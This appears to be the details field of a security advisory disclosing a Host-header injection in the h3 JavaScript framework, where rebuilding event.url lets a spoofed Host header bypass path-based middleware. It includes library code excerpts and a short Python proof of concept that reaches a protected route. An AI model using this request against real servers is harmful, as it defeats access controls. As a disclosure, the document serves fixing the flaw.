  "details": "# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) =\u003e {\n  const token = event.headers.get(\"x-internal-key\");\n\n  if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n    return new Response(\"Forbidden\", { status: 403 });\n  }\n\n  return next();\n});\nconst logger = defineHandler((event, next) =\u003e {\n    console.log(\"Logging : \" +  event.url.hostname)\n    return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () =\u003e {\n  return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there\u0027s one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n    if (this.#url) return this.#url;\n    this.#url = new NativeURL(this.href);\n    this.#href = void 0;\n    this.#protocol = void 0;\n    this.#host = void 0;\n    this.#pathname = void 0;\n    this.#search = void 0;\n    this.#searchParams = void 0;\n    this.#pos = void 0;\n    return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this  code  : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n    if (this.#url) return this.#url.href;\n    if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n    return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n    const route = this[\"~findRoute\"](event);\n    if (route) {\n        event.context.params = route.params;\n        event.context.matchedRoute = route.data;\n    }\n    const routeHandler = route?.data.handler || NoHandler;\n    const middleware = this[\"~getMiddleware\"](event, route);\n    return middleware.length \u003e 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n    \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.",
